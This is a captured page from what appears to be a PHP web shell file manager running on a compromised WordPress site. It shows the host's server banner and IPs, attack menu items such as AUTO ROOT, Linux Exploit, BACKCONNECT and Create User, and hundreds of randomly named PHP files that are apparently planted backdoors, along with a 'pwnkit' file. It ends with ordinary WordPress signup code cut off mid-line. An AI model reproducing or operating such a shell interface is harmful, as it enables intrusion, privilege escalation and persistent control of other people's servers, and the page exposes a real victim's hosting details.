Linux webd002.cluster121.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
Apache
: 10.121.40.2 | : 216.73.217.99
Cant Read [ /etc/named.conf ]
7.2.34
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
letacommog /
gdiags.fr /
[ HOME SHELL ]
Name
Size
Permission
Action
-
[ DIR ]
drwx---r-x
assets
[ DIR ]
drwx---r-x
wp-admin
[ DIR ]
drwxr-xr-x
wp-content
[ DIR ]
drwxr-xr-x
wp-includes
[ DIR ]
drwxr-xr-x
.htaccess
1.97
KB
-r--r--r--
.htaccess.ovh.old
480
B
-rw-r--r--
.htaccess1
539
B
-rw----r--
.mad-root
0
B
-rw----r--
059baw8i.php
51.88
KB
-rw-r--r--
0alxhwhl.php
2.19
KB
-rw-r--r--
0c0l89mh.php
201.66
KB
-rw-r--r--
0e6qh8l1.php
40.09
KB
-rw-r--r--
0j25feqd.php
4.4
KB
-rw-r--r--
0mqnihg8.php
99.8
KB
-rw-r--r--
0schaf4n.php
2.53
KB
-rw-r--r--
0ulbdha0.php
30.11
KB
-rw-r--r--
0yu6c7xo.php
39.08
KB
-rw-r--r--
1.txt
6
B
-rw----r--
106tjysm.php
4.1
KB
-rw-r--r--
1ar21l6l.php
52.17
KB
-rw-r--r--
1u1am760.php
143.38
KB
-rw-r--r--
1vdq9tz5.php
62.11
KB
-rw-r--r--
21iojcgz.php
2.53
KB
-rw-r--r--
23q6ylwj.php
4.1
KB
-rw-r--r--
29xcrlnb.php
4.41
KB
-rw-r--r--
2bhqefa5.php
4.58
KB
-rw-r--r--
2ek4ucxk.php
30.11
KB
-rw-r--r--
2et4fzr5.php
2.17
KB
-rw-r--r--
2iso2tk9.php
2.29
KB
-rw-r--r--
2l7jodpu.php
30.67
KB
-rw-r--r--
2sakhsnp.php
143.38
KB
-rw-r--r--
2tikpzx9.php
66.99
KB
-rw-r--r--
30298rg7.php
20.57
KB
-rw-r--r--
31oxty9b.php
23.47
KB
-rw-r--r--
32hijnzp.php
66.99
KB
-rw-r--r--
34rfh3e9.php
30.67
KB
-rw-r--r--
36bnop9s.php
4.58
KB
-rw-r--r--
37rve54a.php
143.38
KB
-rw-r--r--
38rlw052.php
99.8
KB
-rw-r--r--
3bu4exls.php
88.4
KB
-rw-r--r--
3lu7gect.php
99.8
KB
-rw-r--r--
3u3zf7c6.php
30.11
KB
-rw-r--r--
3unk3rel.php
25.39
KB
-rw-r--r--
40x39sjr.php
4.41
KB
-rw-r--r--
41r0fpoz.php
39.08
KB
-rw-r--r--
41sz3604.php
147.09
KB
-rw-r--r--
42yn03zn.php
88.4
KB
-rw-r--r--
4547hyqz.php
20.57
KB
-rw-r--r--
45pxyf7v.php
23.52
KB
-rw-r--r--
4c6xh003.php
23.47
KB
-rw-r--r--
4dsywe65.php
2.22
KB
-rw-r--r--
4ge5rrjx.php
156.37
KB
-rw-r--r--
4hl0oi5t.php
4.88
KB
-rw-r--r--
4l51sx2h.php
51.88
KB
-rw-r--r--
4n3xpi3z.php
62.11
KB
-rw-r--r--
4tcjgeo9.php
66.99
KB
-rw-r--r--
4tdr9xoy.php
39.08
KB
-rw-r--r--
4xepd8u7.php
52.17
KB
-rw-r--r--
50uvbsla.php
25.39
KB
-rw-r--r--
51sc7h6y.php
20.57
KB
-rw-r--r--
58pq2gji.php
2.53
KB
-rw-r--r--
5cnc5mq1.php
62.11
KB
-rw-r--r--
5f3n3jul.php
23.47
KB
-rw-r--r--
5fy2bv0o.php
2.22
KB
-rw-r--r--
5jy0u3yk.php
2.22
KB
-rw-r--r--
5kd1844x.php
2.29
KB
-rw-r--r--
5m66gwlp.php
99.8
KB
-rw-r--r--
5msnssky.php
20.57
KB
-rw-r--r--
5thn3cze.php
201.66
KB
-rw-r--r--
5xrlx2mf.php
4.41
KB
-rw-r--r--
60o3jlbl.php
4.41
KB
-rw-r--r--
63u9lou9.php
2.26
KB
-rw-r--r--
65mndezh.php
2.19
KB
-rw-r--r--
6co4gfla.php
2.21
KB
-rw-r--r--
6hbl3um5.php
2.29
KB
-rw-r--r--
6jjzgpm0.php
4.1
KB
-rw-r--r--
6mdxri1o.php
52.17
KB
-rw-r--r--
6ru6m1bj.php
4.88
KB
-rw-r--r--
6ui5isua.php
30.11
KB
-rw-r--r--
71rbyg8d.php
4.4
KB
-rw-r--r--
76534fri.php
141.76
KB
-rw-r--r--
78rv960s.php
4.4
KB
-rw-r--r--
79h4liry.php
156.37
KB
-rw-r--r--
7azegvfn.php
23.47
KB
-rw-r--r--
7b3r6mn4.php
201.66
KB
-rw-r--r--
7gc9n45b.php
147.09
KB
-rw-r--r--
7jiujags.php
2.53
KB
-rw-r--r--
7k2atyz3.php
2.22
KB
-rw-r--r--
7s4n2ze0.php
62.11
KB
-rw-r--r--
7tid8veu.php
30.67
KB
-rw-r--r--
7u4fcat8.php
4.88
KB
-rw-r--r--
7vzit85y.php
62.11
KB
-rw-r--r--
7wclxd8i.php
2.53
KB
-rw-r--r--
7wj0jwlw.php
66.99
KB
-rw-r--r--
7zmr8nfm.php
39.08
KB
-rw-r--r--
8018dlz9.php
51.88
KB
-rw-r--r--
80gb9wrx.php
62.11
KB
-rw-r--r--
82u8qxie.php
141.76
KB
-rw-r--r--
82zurq17.php
4.41
KB
-rw-r--r--
841jj742.php
25.39
KB
-rw-r--r--
897s5khk.php
66.99
KB
-rw-r--r--
89svt1m2.php
30.11
KB
-rw-r--r--
8b92ws4x.php
23.47
KB
-rw-r--r--
8hjg7gku.php
52.17
KB
-rw-r--r--
8jqzvnn3.php
141.76
KB
-rw-r--r--
8nq4xfd4.php
51.88
KB
-rw-r--r--
8omnafyz.php
4.4
KB
-rw-r--r--
8p1ps9uh.php
4.88
KB
-rw-r--r--
8qpybp2i.php
25.39
KB
-rw-r--r--
8wkm85nb.php
2.29
KB
-rw-r--r--
8zq7of93.php
23.47
KB
-rw-r--r--
95wx6ob2.php
52.17
KB
-rw-r--r--
97a5q3kb.php
66.99
KB
-rw-r--r--
9b13g7kw.php
30.67
KB
-rw-r--r--
9c9gp7jz.php
52.17
KB
-rw-r--r--
9dbtl01m.php
23.47
KB
-rw-r--r--
9g458t6r.php
2.29
KB
-rw-r--r--
9gg8at81.php
4.41
KB
-rw-r--r--
9qkbu1n7.php
2.19
KB
-rw-r--r--
9qrarrj1.php
4.1
KB
-rw-r--r--
9qyd17gk.php
201.66
KB
-rw-r--r--
9x3upedt.php
2.22
KB
-rw-r--r--
9yqzux3g.php
156.37
KB
-rw-r--r--
a216ckzl.php
2.17
KB
-rw-r--r--
a2w3tvsb.php
30.11
KB
-rw-r--r--
a74a6zu3.php
51.88
KB
-rw-r--r--
about.php
0
B
-rw----r--
ac89rduf.php
2.53
KB
-rw-r--r--
adminer.php
0
B
-rw----r--
afzwhmbv.php
62.11
KB
-rw-r--r--
aghojbpr.php
66.99
KB
-rw-r--r--
ah8ttonb.php
88.4
KB
-rw-r--r--
ai2395y2.php
4.4
KB
-rw-r--r--
alui6nyr.php
25.39
KB
-rw-r--r--
amadcfck.php
760
B
-rw----r--
amhywpuk.php
760
B
-rw----r--
amok73qz.php
147.09
KB
-rw-r--r--
apm412hx.php
2.53
KB
-rw-r--r--
aqwsolep.php
25.39
KB
-rw-r--r--
asymck3u.php
39.08
KB
-rw-r--r--
atmhngbu.php
52.17
KB
-rw-r--r--
axolh7j2.php
147.09
KB
-rw-r--r--
ay80fenv.php
51.88
KB
-rw-r--r--
aykml4ir.php
156.37
KB
-rw-r--r--
b1woxxz9.php
23.52
KB
-rw-r--r--
b7d9m06t.php
88.4
KB
-rw-r--r--
b9bwpx6r.php
25.39
KB
-rw-r--r--
bgdg1thk.php
2.29
KB
-rw-r--r--
bm6n17xe.php
4.58
KB
-rw-r--r--
bqjuanz4.php
143.38
KB
-rw-r--r--
bqpo439u.php
156.37
KB
-rw-r--r--
by6xhmkf.php
4.41
KB
-rw-r--r--
c25lklhs.php
201.66
KB
-rw-r--r--
c3d8tn8h.php
201.66
KB
-rw-r--r--
c49toruw.php
4.1
KB
-rw-r--r--
c6eulxgn.php
156.37
KB
-rw-r--r--
c6iapsfj.php
2.22
KB
-rw-r--r--
ccc4lxtu.php
141.76
KB
-rw-r--r--
cemabi1d.php
30.11
KB
-rw-r--r--
cers81zh.php
4.1
KB
-rw-r--r--
cizfz5an.php
25.39
KB
-rw-r--r--
ckvn8j29.php
4.58
KB
-rw-r--r--
classfuns.php
21.71
KB
-r--r--r--
cm0k0s44.php
147.09
KB
-rw-r--r--
connects.php
19.15
KB
-r--r--r--
cpgwqi56.php
88.4
KB
-rw-r--r--
crqylmnt.php
760
B
-rw----r--
cwl4wif2.php
40.09
KB
-rw-r--r--
dbcost4h.php
2.17
KB
-rw-r--r--
dbmkcu7b.php
147.09
KB
-rw-r--r--
dbtiltri.php
2.19
KB
-rw-r--r--
dkhm7vuo.php
2.17
KB
-rw-r--r--
dmnzk364.php
30.67
KB
-rw-r--r--
dp5hfhok.php
4.58
KB
-rw-r--r--
ds8x0hrb.php
2.17
KB
-rw-r--r--
dw83n7pj.php
201.66
KB
-rw-r--r--
dxdl6bpk.php
99.8
KB
-rw-r--r--
e1fus8ll.php
141.76
KB
-rw-r--r--
e4dopnna.php
52.17
KB
-rw-r--r--
e9c3zul7.php
2.29
KB
-rw-r--r--
efwhx3od.php
143.38
KB
-rw-r--r--
egw24ua4.php
40.09
KB
-rw-r--r--
ei82wztu.php
2.22
KB
-rw-r--r--
ejslz2cx.php
4.58
KB
-rw-r--r--
ekfcsg3n.php
2.17
KB
-rw-r--r--
elazbwnk.php
760
B
-rw----r--
elojm3r0.php
23.47
KB
-rw-r--r--
f460rnxy.php
2.22
KB
-rw-r--r--
f4wl4p27.php
2.19
KB
-rw-r--r--
f6phvp2r.php
156.37
KB
-rw-r--r--
fas1b21z.php
52.17
KB
-rw-r--r--
fc2ficzo.php
30.11
KB
-rw-r--r--
fck0ujp7.php
99.8
KB
-rw-r--r--
feqmwfhc.php
760
B
-rw----r--
fj8uoqvt.php
4.41
KB
-rw-r--r--
fql7q9jp.php
23.52
KB
-rw-r--r--
fugveiqp.php
760
B
-rw----r--
fwuv15dx.php
2.29
KB
-rw-r--r--
fxth3pse.php
2.29
KB
-rw-r--r--
g1hs78cw.php
20.57
KB
-rw-r--r--
g2b4qx93.php
66.99
KB
-rw-r--r--
g40lwa9y.php
30.67
KB
-rw-r--r--
g63tmq99.php
99.8
KB
-rw-r--r--
g7br6xgd.php
4.41
KB
-rw-r--r--
gdd5ks61.php
66.99
KB
-rw-r--r--
gfi4m8yn.php
52.17
KB
-rw-r--r--
ghivxgln.php
23.47
KB
-rw-r--r--
gkowwxd4.php
4.4
KB
-rw-r--r--
gmjbtxmy.php
760
B
-rw----r--
gmyosgol.php
760
B
-rw----r--
gn454d3g.php
88.4
KB
-rw-r--r--
gnnxfswk.php
760
B
-rw----r--
goo2cyf5.php
2.17
KB
-rw-r--r--
gxcooz2v.php
2.22
KB
-rw-r--r--
gxm97c56.php
2.17
KB
-rw-r--r--
h0px2yce.php
143.38
KB
-rw-r--r--
h27dfy0i.php
2.17
KB
-rw-r--r--
h29tihqv.php
66.99
KB
-rw-r--r--
h2vf4vu5.php
99.8
KB
-rw-r--r--
h4l1jd4l.php
99.8
KB
-rw-r--r--
h83uk7b2.php
39.08
KB
-rw-r--r--
h8cz2grs.php
4.1
KB
-rw-r--r--
h9uvoet4.php
4.88
KB
-rw-r--r--
hc6bu8t0.php
2.19
KB
-rw-r--r--
he3za05q.php
30.67
KB
-rw-r--r--
hg6pv7ya.php
20.57
KB
-rw-r--r--
hl6srflo.php
2.29
KB
-rw-r--r--
hont2qnj.php
40.09
KB
-rw-r--r--
hpz5fdl8.php
39.08
KB
-rw-r--r--
hzr3p94d.php
4.4
KB
-rw-r--r--
i1482ev0.php
156.37
KB
-rw-r--r--
i27mrqlp.php
23.52
KB
-rw-r--r--
i29dzeu8.php
66.99
KB
-rw-r--r--
i2wn678t.php
51.88
KB
-rw-r--r--
i57n29km.php
40.09
KB
-rw-r--r--
i593qdn8.php
23.47
KB
-rw-r--r--
i5b61yn2.php
4.88
KB
-rw-r--r--
i977idog.php
4.41
KB
-rw-r--r--
iajatebr.php
66.99
KB
-rw-r--r--
ib23me6h.php
2.29
KB
-rw-r--r--
ibm2pqr3.php
23.52
KB
-rw-r--r--
iccqgdmv.php
4.58
KB
-rw-r--r--
if1n5080.php
30.11
KB
-rw-r--r--
if58xtl4.php
30.67
KB
-rw-r--r--
ihjiovua.php
40.09
KB
-rw-r--r--
ikmlyt08.php
156.37
KB
-rw-r--r--
immxr9ip.php
156.37
KB
-rw-r--r--
index.php
5.6
KB
-rw-r--r--
ioc6pka1.php
23.52
KB
-rw-r--r--
iq3omm20.php
2.29
KB
-rw-r--r--
ir4w5tq2.php
23.52
KB
-rw-r--r--
is2rhgu3.php
156.37
KB
-rw-r--r--
ivzfip5m.php
39.08
KB
-rw-r--r--
iyh4uzeu.php
2.19
KB
-rw-r--r--
izbcvwpg.php
760
B
-rw----r--
j35ntg0l.php
201.66
KB
-rw-r--r--
j4yx1z08.php
88.4
KB
-rw-r--r--
j5fd9c9g.php
23.52
KB
-rw-r--r--
j98ek3to.php
30.11
KB
-rw-r--r--
ja4rhgze.php
23.52
KB
-rw-r--r--
jaklzfte.php
760
B
-rw----r--
jan6j7e3.php
30.67
KB
-rw-r--r--
jdou94x3.php
2.53
KB
-rw-r--r--
jfbkpkjs.php
52.17
KB
-rw-r--r--
jk4tfd0z.php
4.1
KB
-rw-r--r--
jl5etz6h.php
156.37
KB
-rw-r--r--
jnkiubcx.php
141.76
KB
-rw-r--r--
joei6j1b.php
4.88
KB
-rw-r--r--
jrg9mwad.php
143.38
KB
-rw-r--r--
jxrbpeig.php
88.4
KB
-rw-r--r--
jytvfhlh.php
760
B
-rw----r--
k09dci74.php
23.52
KB
-rw-r--r--
k3fx4vnw.php
2.22
KB
-rw-r--r--
k3ovmghp.php
156.37
KB
-rw-r--r--
k4ppnwr4.php
2.19
KB
-rw-r--r--
k4uuphhd.php
88.4
KB
-rw-r--r--
k773qxj1.php
143.38
KB
-rw-r--r--
k9uxstj6.php
52.17
KB
-rw-r--r--
kb4rn6fj.php
51.88
KB
-rw-r--r--
kgysduni.php
2.22
KB
-rw-r--r--
krkirywb.php
201.66
KB
-rw-r--r--
ks05c4y0.php
20.57
KB
-rw-r--r--
kvi4n9gs.php
62.11
KB
-rw-r--r--
kvtgdp0u.php
2.53
KB
-rw-r--r--
l63xw0ys.php
99.8
KB
-rw-r--r--
l8m4v7hm.php
2.25
KB
-rw-r--r--
lbbvmcvg.php
2.17
KB
-rw-r--r--
lg4l3oxj.php
143.38
KB
-rw-r--r--
license.txt
19.45
KB
-rw-r--r--
lk3nix04.php
88.4
KB
-rw-r--r--
lotfipfk.php
30.67
KB
-rw-r--r--
lp7d7n46.php
4.4
KB
-rw-r--r--
lpbr42e7.php
143.38
KB
-rw-r--r--
lscwkue8.php
2.53
KB
-rw-r--r--
m5i8w60p.php
40.09
KB
-rw-r--r--
m5pxz8r0.php
25.39
KB
-rw-r--r--
m9e31kb0.php
147.09
KB
-rw-r--r--
mfenin2r.php
143.38
KB
-rw-r--r--
mgpky4r4.php
51.88
KB
-rw-r--r--
mhx81mjy.php
141.76
KB
-rw-r--r--
miqx97ms.php
2.19
KB
-rw-r--r--
mj52r1ls.php
66.99
KB
-rw-r--r--
mkxgzyp0.php
2.17
KB
-rw-r--r--
mo1foyhs.php
143.38
KB
-rw-r--r--
mrxga53c.php
147.09
KB
-rw-r--r--
my6dje2x.php
4.88
KB
-rw-r--r--
myk5lm8u.php
30.67
KB
-rw-r--r--
n09prope.php
4.41
KB
-rw-r--r--
n1mgyrb5.php
51.88
KB
-rw-r--r--
n33uui6s.php
141.76
KB
-rw-r--r--
n616jxsw.php
30.67
KB
-rw-r--r--
n6aehact.php
4.88
KB
-rw-r--r--
n7puymyn.php
2.19
KB
-rw-r--r--
nfunjxer.php
760
B
-rw----r--
ngcfbz6d.php
99.8
KB
-rw-r--r--
ngq802jy.php
201.66
KB
-rw-r--r--
njypbco5.php
2.19
KB
-rw-r--r--
nkeate9y.php
62.11
KB
-rw-r--r--
nkfngbxn.php
760
B
-rw----r--
no4ub2ya.php
4.88
KB
-rw-r--r--
nu7gyk1l.php
2.22
KB
-rw-r--r--
nzteagfi.php
51.88
KB
-rw-r--r--
o420tms4.php
201.66
KB
-rw-r--r--
oaj8kbgn.php
40.09
KB
-rw-r--r--
odylxpbr.php
760
B
-rw----r--
oeaasuek.php
760
B
-rw----r--
ojb4kcbo.php
2.19
KB
-rw-r--r--
olkycafm.php
760
B
-rw----r--
omyh2xmp.php
4.58
KB
-rw-r--r--
oodaqvfc.php
39.08
KB
-rw-r--r--
ovmpacym.php
760
B
-rw----r--
oxcuznme.php
20.57
KB
-rw-r--r--
p6nwxxrt.php
141.76
KB
-rw-r--r--
p7f7boc3.php
141.76
KB
-rw-r--r--
p7ykc9vb.php
4.88
KB
-rw-r--r--
p928pufv.php
88.4
KB
-rw-r--r--
pby5taqe.php
23.47
KB
-rw-r--r--
peios2vy.php
51.88
KB
-rw-r--r--
pgf7i5l2.php
147.09
KB
-rw-r--r--
phntun74.php
141.76
KB
-rw-r--r--
psh3hdy8.php
4.1
KB
-rw-r--r--
pvx98wyv.php
2.22
KB
-rw-r--r--
pwnkit
0
B
-rwx---r-x
q03x5mfz.php
4.41
KB
-rw-r--r--
q2inspmy.php
147.09
KB
-rw-r--r--
q4pagq7c.php
23.52
KB
-rw-r--r--
q8yg1szx.php
4.58
KB
-rw-r--r--
q993mphe.php
2.17
KB
-rw-r--r--
q9f9r6oy.php
4.1
KB
-rw-r--r--
qbal2e09.php
20.57
KB
-rw-r--r--
qhdqtnn9.php
25.39
KB
-rw-r--r--
qhgu8sz3.php
2.17
KB
-rw-r--r--
qiw8gvgk.php
23.52
KB
-rw-r--r--
qm1shc9v.php
4.58
KB
-rw-r--r--
qqzb36oj.php
2.22
KB
-rw-r--r--
qqzxf1nt.php
141.76
KB
-rw-r--r--
qvrcepxl.php
51.88
KB
-rw-r--r--
qxgjnzvo.php
141.76
KB
-rw-r--r--
r3mr5xqy.php
2.29
KB
-rw-r--r--
r55x2uin.php
2.29
KB
-rw-r--r--
r6zoxeuu.php
25.39
KB
-rw-r--r--
radio.php
514
B
-rw----r--
radio.txt
40
B
-rw----r--
rcwdgm9j.php
88.4
KB
-rw-r--r--
rdm7j46o.php
62.11
KB
-rw-r--r--
readme.html
7.17
KB
-rw-r--r--
recollection.php
14.23
KB
-rw----r--
rhnvj45h.php
25.39
KB
-rw-r--r--
rhxjdqqb.php
4.4
KB
-rw-r--r--
rjey11bj.php
201.66
KB
-rw-r--r--
rl0zodeg.php
30.67
KB
-rw-r--r--
rnqbcnev.php
272
B
-rw----r--
rophq8ju.php
143.38
KB
-rw-r--r--
roqlc92w.php
4.4
KB
-rw-r--r--
rqvfyjyf.php
760
B
-rw----r--
rttu0uhs.php
4.88
KB
-rw-r--r--
ruy0g6bq.php
30.11
KB
-rw-r--r--
rvyr23t6.php
4.4
KB
-rw-r--r--
rx5kwq2l.php
40.09
KB
-rw-r--r--
rxubngwi.php
40.09
KB
-rw-r--r--
rydsfhmo.php
4.1
KB
-rw-r--r--
ryuuo3br.php
30.11
KB
-rw-r--r--
rzhyqmcf.php
760
B
-rw----r--
s0es3j8i.php
2.19
KB
-rw-r--r--
s2bqc6i7.php
2.19
KB
-rw-r--r--
sadtbusf.php
760
B
-rw----r--
sglka70z.php
2.22
KB
-rw-r--r--
sm6uqbuv.php
147.09
KB
-rw-r--r--
so20ydoc.php
20.57
KB
-rw-r--r--
so8368z4.php
62.11
KB
-rw-r--r--
sobswq7w.php
201.66
KB
-rw-r--r--
sq3uc7jr.php
201.66
KB
-rw-r--r--
ss40th8d.php
62.11
KB
-rw-r--r--
sslhe8no.php
40.09
KB
-rw-r--r--
surnaryg.php
760
B
-rw----r--
sv8kitb1.php
143.38
KB
-rw-r--r--
svnjmvkg.php
760
B
-rw----r--
szrw2rvv.php
2.53
KB
-rw-r--r--
szugefpf.php
201.66
KB
-rw-r--r--
t2ltucj8.php
23.52
KB
-rw-r--r--
t4m8vig2.php
4.1
KB
-rw-r--r--
tbgkhv07.php
99.8
KB
-rw-r--r--
tcfza0ev.php
4.41
KB
-rw-r--r--
tkln360o.php
66.99
KB
-rw-r--r--
toh1twkj.php
40.09
KB
-rw-r--r--
tvof3roa.php
143.38
KB
-rw-r--r--
tyelonh4.php
39.08
KB
-rw-r--r--
tztrjhz9.php
147.09
KB
-rw-r--r--
u3q6pxsa.php
4.1
KB
-rw-r--r--
u45mb70t.php
51.88
KB
-rw-r--r--
u72f4m3l.php
4.58
KB
-rw-r--r--
uasd9jjq.php
66.99
KB
-rw-r--r--
ugbidzzi.php
760
B
-rw----r--
uo50qecj.php
30.11
KB
-rw-r--r--
updjy9ah.php
62.11
KB
-rw-r--r--
us7kdst0.php
62.11
KB
-rw-r--r--
usbme1x2.php
20.57
KB
-rw-r--r--
uslmmdjo.php
40.09
KB
-rw-r--r--
uvq1uxmu.php
2.53
KB
-rw-r--r--
uwmjbay4.php
40.09
KB
-rw-r--r--
uyngy8kp.php
4.58
KB
-rw-r--r--
v15s2lzw.php
2.53
KB
-rw-r--r--
v1cgynfr.php
20.57
KB
-rw-r--r--
v4fn0q43.php
156.37
KB
-rw-r--r--
v5fpc8qq.php
52.17
KB
-rw-r--r--
v8q9lr4a.php
88.4
KB
-rw-r--r--
vaskdcrz.php
99.8
KB
-rw-r--r--
vbrou3ht.php
4.58
KB
-rw-r--r--
vinzribq.php
20.57
KB
-rw-r--r--
vn4f19t5.php
143.38
KB
-rw-r--r--
voncsl2b.php
62.11
KB
-rw-r--r--
vrdq29hi.php
30.11
KB
-rw-r--r--
vsg3y4oc.php
2.17
KB
-rw-r--r--
vsig5m89.php
4.4
KB
-rw-r--r--
vtkfgfmv.php
760
B
-rw----r--
vvqtfyn1.php
156.37
KB
-rw-r--r--
vxgc5nb0.php
99.8
KB
-rw-r--r--
w38rqfea.php
39.08
KB
-rw-r--r--
w3mxg24z.php
52.17
KB
-rw-r--r--
wesp0guq.php
25.39
KB
-rw-r--r--
wfa36x7j.php
39.08
KB
-rw-r--r--
wfk5b3aj.php
147.09
KB
-rw-r--r--
wfxs281c.php
4.58
KB
-rw-r--r--
wkueddbh.php
760
B
-rw----r--
woep3bxo.php
2.53
KB
-rw-r--r--
wov2hje7.php
52.17
KB
-rw-r--r--
wp-activate.php
7
KB
-rw-r--r--
wp-blog-header.php
351
B
-rw-r--r--
wp-comments-post.php
2.27
KB
-rw-r--r--
wp-config-sample.php
3.46
KB
-rw-r--r--
wp-config.php
3.25
KB
-rw----r--
wp-cron.php
3.85
KB
-rw-r--r--
wp-links-opml.php
2.44
KB
-rw-r--r--
wp-load.php
3.24
KB
-rw-r--r--
wp-login.php
43.94
KB
-rw-r--r--
wp-mail.php
8.31
KB
-rw-r--r--
wp-settings.php
20.63
KB
-rw-r--r--
wp-signup.php
30.59
KB
-rw-r--r--
wp-trackback.php
4.64
KB
-rw-r--r--
wp6fbtie.php
23.52
KB
-rw-r--r--
wpi1gdsh.php
2.17
KB
-rw-r--r--
wuqce16o.php
23.47
KB
-rw-r--r--
wyahjug6.php
2.17
KB
-rw-r--r--
wyxwnk71.php
2.29
KB
-rw-r--r--
x190c90j.php
147.09
KB
-rw-r--r--
x1vqp00l.php
4.88
KB
-rw-r--r--
x8avotv0.php
4.4
KB
-rw-r--r--
xavjifxl.php
4.88
KB
-rw-r--r--
xbjwjybm.php
141.76
KB
-rw-r--r--
xgjcsyoq.php
760
B
-rw----r--
xjeu3suk.php
141.76
KB
-rw-r--r--
xjhwlihv.php
760
B
-rw----r--
xkfabdun.php
760
B
-rw----r--
xly84n70.php
88.4
KB
-rw-r--r--
xmlrpc.php
3.16
KB
-rw-r--r--
xmufzo29.php
39.08
KB
-rw-r--r--
xphdvzfz.php
760
B
-rw----r--
xpzpjl5f.php
39.08
KB
-rw-r--r--
xrso74kd.php
20.57
KB
-rw-r--r--
xs9pimrl.php
23.47
KB
-rw-r--r--
xzpl9jw3.php
25.39
KB
-rw-r--r--
y0mttlo2.php
23.47
KB
-rw-r--r--
y6rgoy2b.php
62.11
KB
-rw-r--r--
y7l029ml.php
4.58
KB
-rw-r--r--
y7mxx2mw.php
4.88
KB
-rw-r--r--
y8bfbtnz.php
201.66
KB
-rw-r--r--
yayw6lae.php
2.39
KB
-rw-r--r--
yjvoewjk.php
30.67
KB
-rw-r--r--
ysetux3k.php
4.1
KB
-rw-r--r--
yvup30ho.php
23.52
KB
-rw-r--r--
z16peav9.php
4.1
KB
-rw-r--r--
z9whuggk.php
52.17
KB
-rw-r--r--
za8dvhkj.php
2.53
KB
-rw-r--r--
zbjjv4kj.php
25.39
KB
-rw-r--r--
ze37jgwq.php
51.88
KB
-rw-r--r--
ze82j76f.php
39.08
KB
-rw-r--r--
zibg9xx1.php
23.52
KB
-rw-r--r--
zrbqgkcn.php
147.09
KB
-rw-r--r--
zrg67nm1.php
4.41
KB
-rw-r--r--
zrsu9x82.php
4.41
KB
-rw-r--r--
zs4tuxqj.php
4.4
KB
-rw-r--r--
zsqlctlp.php
141.76
KB
-rw-r--r--
zt6qo9hb.php
20.57
KB
-rw-r--r--
zu7d9k2w.php
4.4
KB
-rw-r--r--
zu9hql36.php
156.37
KB
-rw-r--r--
zwzvzhuf.php
760
B
-rw----r--
zzodlm0i.php
51.88
KB
-rw-r--r--
zzrn05wv.php
2.19
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : wp-signup.php
<?php /** Sets up the WordPress Environment. */ require __DIR__ . '/wp-load.php'; add_filter( 'wp_robots', 'wp_robots_no_robots' ); require __DIR__ . '/wp-blog-header.php'; nocache_headers(); if ( is_array( get_site_option( 'illegal_names' ) ) && isset( $_GET['new'] ) && in_array( $_GET['new'], get_site_option( 'illegal_names' ), true ) ) { wp_redirect( network_home_url() ); die(); } /** * Prints signup_header via wp_head * * @since MU (3.0.0) */ function do_signup_header() { /** * Fires within the head section of the site sign-up screen. * * @since 3.0.0 */ do_action( 'signup_header' ); } add_action( 'wp_head', 'do_signup_header' ); if ( ! is_multisite() ) { wp_redirect( wp_registration_url() ); die(); } if ( ! is_main_site() ) { wp_redirect( network_site_url( 'wp-signup.php' ) ); die(); } // Fix for page title. $wp_query->is_404 = false; /** * Fires before the Site Signup page is loaded. * * @since 4.4.0 */ do_action( 'before_signup_header' ); /** * Prints styles for front-end Multisite signup pages * * @since MU (3.0.0) */ function wpmu_signup_stylesheet() { ?> <style type="text/css"> .mu_register { width: 90%; margin:0 auto; } .mu_register form { margin-top: 2em; } .mu_register .error { font-weight: 600; padding: 10px; color: #333333; background: #FFEBE8; border: 1px solid #CC0000; } .mu_register input[type="submit"], .mu_register #blog_title, .mu_register #user_email, .mu_register #blogname, .mu_register #user_name { width:100%; font-size: 24px; margin:5px 0; } .mu_register #site-language { display: block; } .mu_register .prefix_address, .mu_register .suffix_address { font-size: 18px; display:inline; } .mu_register label { font-weight: 600; font-size: 15px; display: block; margin: 10px 0; } .mu_register label.checkbox { display:inline; } .mu_register .mu_alert { font-weight: 600; padding: 10px; color: #333333; background: #ffffe0; border: 1px solid #e6db55; } </style> <?php } add_action( 'wp_head', 'wpmu_signup_stylesheet' ); get_header( 'wp-signup' ); /** * Fires before the site sign-up form. * * @since 3.0.0 */ do_action( 'before_signup_form' ); ?> <div id="signup-content" class="widecolumn"> <div class="mu_register wp-signup-container" role="main"> <?php /** * Generates and displays the Signup and Create Site forms * * @since MU (3.0.0) * * @param string $blogname The new site name. * @param string $blog_title The new site title. * @param WP_Error|string $errors A WP_Error object containing existing errors. Defaults to empty string. */ function show_blog_form( $blogname = '', $blog_title = '', $errors = '' ) { if ( ! is_wp_error( $errors ) ) { $errors = new WP_Error(); } $current_network = get_network(); // Blog name. if ( ! is_subdomain_install() ) { echo '<label for="blogname">' . __( 'Site Name:' ) . '</label>'; } else { echo '<label for="blogname">' . __( 'Site Domain:' ) . '</label>'; } $errmsg = $errors->get_error_message( 'blogname' ); if ( $errmsg ) { ?> <p class="error"><?php echo $errmsg; ?></p> <?php } if ( ! is_subdomain_install() ) { echo '<span class="prefix_address">' . $current_network->domain . $current_network->path . '</span><input name="blogname" type="text" id="blogname" value="' . esc_attr( $blogname ) . '" maxlength="60" /><br />'; } else { $site_domain = preg_replace( '|^www\.|', '', $current_network->domain ); echo '<input name="blogname" type="text" id="blogname" value="' . esc_attr( $blogname ) . '" maxlength="60" /><span class="suffix_address">.' . esc_html( $site_domain ) . '</span><br />'; } if ( ! is_user_logged_in() ) { if ( ! is_subdomain_install() ) { $site = $current_network->domain . $current_network->path . __( 'sitename' ); } else { $site = __( 'domain' ) . '.' . $site_domain . $current_network->path; } printf( '<p>(<strong>%s</strong>) %s</p>', /* translators: %s: Site address. */ sprintf( __( 'Your address will be %s.' ), $site ), __( 'Must be at least 4 characters, letters and numbers only. It cannot be changed, so choose carefully!' ) ); } // Site Title. ?> <label for="blog_title"><?php _e( 'Site Title:' ); ?></label> <?php $errmsg = $errors->get_error_message( 'blog_title' ); if ( $errmsg ) { ?> <p class="error"><?php echo $errmsg; ?></p> <?php } echo '<input name="blog_title" type="text" id="blog_title" value="' . esc_attr( $blog_title ) . '" />'; ?> <?php // Site Language. $languages = 